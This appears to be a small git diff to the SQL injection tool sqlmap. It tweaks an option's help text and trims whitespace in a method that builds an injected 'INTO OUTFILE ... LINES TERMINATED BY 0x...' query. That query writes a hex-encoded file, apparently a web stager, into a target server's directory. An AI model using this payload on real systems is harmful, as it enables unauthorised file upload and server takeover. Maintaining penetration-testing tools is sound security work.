diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 147a940b2..6183fd9b9 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -147,7 +147,7 @@ def cmdLineParser(): default=False, help="Retrieve page length without actual HTTP response body") optimization.add_option("--threads", dest="threads", type="int", default=1, - help="Max. number of concurrent HTTP(s) " + help="Max number of concurrent HTTP(s) " "requests (default 1)") # Injection options diff --git a/lib/takeover/web.py b/lib/takeover/web.py index ae63c7e91..c7ed047b1 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -99,9 +99,9 @@ class Web: def __webFileInject(self, fileContent, fileName, directory): outFile = posixpath.normpath("%s/%s" % (directory, fileName)) uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\') if kb.os == "Windows" else directory) - query = " LIMIT 1 INTO OUTFILE '%s' " % outFile + query = "LIMIT 1 INTO OUTFILE '%s' " % outFile query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery) - query = agent.prefixQuery(" %s" % query) + query = agent.prefixQuery(query) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) page = Request.queryPage(payload)